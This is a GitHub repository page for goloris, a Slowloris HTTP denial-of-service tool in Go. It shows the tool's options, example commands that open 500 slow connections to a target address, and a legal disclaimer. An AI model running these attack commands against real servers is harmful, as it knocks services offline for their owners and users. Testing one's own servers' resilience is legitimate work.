Skip to content

marant/goloris

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

37 Commits
 
 
 
 
 
 

Repository files navigation

goloris

Slowloris HTTP DoS implementation in golang.

usage: goloris [OPTIONS]... TARGET
  TARGET host:port. port 80 is assumed for HTTP connections. 443 is assumed for HTTPS connections

OPTIONS
  -connections=10: Number of active concurrent connections
  -dosHeader="Cookie: a=b": Header to send repeatedly
  -finishafter=0: Seconds to wait before finishing the request. If zero the request is never finished
  -https=false: Use HTTPS
  -interval=1: Number of seconds to wait between sending headers
  -method="GET": HTTP method to use
  -resource="/": Resource to request from the server
  -timeout=60: HTTP connection timeout in seconds
  -timermode=false: Measure the timeout of the server. connections flag is omitted
  -useragent="Goloris HTTP DoS": User-Agent header of the request

EXAMPLES
  ./goloris -connections=500 192.168.0.1
  ./goloris -https -connections=500 192.168.0.1
  ./goloris -useragent="some user-agent string" -https -connections=500 192.168.0.1

Usage of this program for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, 
state and federal laws. Developers assume no liability and are not 
responsible for any misuse or damage caused by this program.

This disclaimer was shamelessy copied from sqlmap with minor modifications :)

About

Slowloris HTTP DoS implementation in golang

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages